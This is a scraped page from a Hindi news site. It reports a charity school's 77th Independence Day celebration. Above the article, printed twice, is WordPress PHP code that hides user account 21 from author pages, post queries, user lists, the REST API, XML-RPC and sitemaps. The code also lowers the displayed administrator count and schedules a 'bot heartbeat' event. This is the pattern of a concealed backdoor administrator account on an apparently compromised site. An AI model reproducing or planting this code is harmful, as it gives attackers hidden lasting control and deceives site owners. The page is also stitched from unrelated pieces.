add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
तथास्तु चैरिटेबल पब्लिक स्कूल के बच्चों ने 77वा स्वतंत्रता दिवस बड़ी धूमधाम से मनाया… - Press Ki Taquat
No Result
View All Result
स्वतंत्रता दिवस की आप सबको बहुत-बहुत बधाई। तथास्तु चैरिटेबल सोसायटी द्वारा शालीमार एनक्लेव में तथास्तु चैरिटेबल पब्लिक स्कूल के बच्चों ने 77वा स्वतंत्रता दिवस बड़ी धूमधाम से मनाया। जगतगुरु पंचानंद गिरि महाराज का आशीर्वाद हमारे साथ शुरू से ही बना हुआ है, चाहे वह अब हमारे बीच नहीं है लेकिन उनका आशीर्वाद हमारे साथ ही रहेगा। आज के इस कार्यक्रम में हरियाणा के प्रेसिडेंट बलवान भारद्वाज, भीम गॉड, जे जे पी वरिष्ठ नेता, पंजाब के प्रेसिडेंट अमन भसीन और पंजाब के वाइस प्रेसिडेंट अरुण कुमार ने शिरकत की।
चीफ गेस्ट भीम गॉड ने मिलकर झंडा फहराया । बच्चों ने भारत माता की जय और वंदे मातरम के नारे भी लगाए, स्कूल की प्रिंसिपल श्रीमती दर्शना देवी ने बच्चों को धार्मिक गीत सुना कर बच्चों का मनोरंजन किया। उन्होंने गीत बिना किसी म्यूजिक से बड़े ही जोश से सुनाया। जिस की सब लोगों ने बहुत तारीफ की वास्तव में यह गीत बहुत ही उत्साह से भरा हुआ था। बच्चों ने आजादी के छोटे-छोटे गीत सुनाए और अपने स्वतंत्रता दिवस की बातें की, तथास्तु चैरिटेबल पब्लिक स्कूल की डायरेक्टर डॉक्टर सरबजीत कौर ने इस मौके पर आए हुए सभी लोगों का बहुत धन्यवाद किया और बच्चों को खाने के लिए बहुत कुछ दिया गया। इस मौके पर डॉक्टर साहब ने कहा कि यह छोटी-छोटी खुशियां हमारे पलों को और भी दुगना कर देती हैं, जो लोग हमारे साथ जुड़ते हैं हम उनका दिल से धन्यवाद करते हैं और आप सब लोगों से यही अपील करते हैं कि आप सभी इन स्लम एरिया के बच्चों के साथ जुड़ने का सौभाग्य प्राप्त करें इसके साथ उन्होंने कहा कि हमारे इर्द-गिर्द बहुत सारे ऐसे बच्चे हैं जो की सड़कों पर भीख मांगते हैं उन्हें भीख मांगने से रोकना चाहिए और उन्हें पढ़ाई की महत्वता बतानी चाहिए
भिक्षा नहीं शिक्षा का नारा सार्थक करें और उन्होंने तथास्तु चेरिटीबल स्कूल के स्टाफ मेंबर्स का भी धन्यवाद किया जो अपनी मेहनत से स्कूल के बच्चों का ध्यान रखते हैं और स्कूल चलाने में उनकी मदद करते हैं आखिर में डॉक्टर सरबजीत कौर ने फिर एक बार सब लोगों को स्वतंत्रता दिवस की बहुत-बहुत बधाई दी और उन्होंने कहा कि हमारा देश और हमारा स्कूल ऐसे ही फूले फले ।
Post Views: 249
No Result
View All Result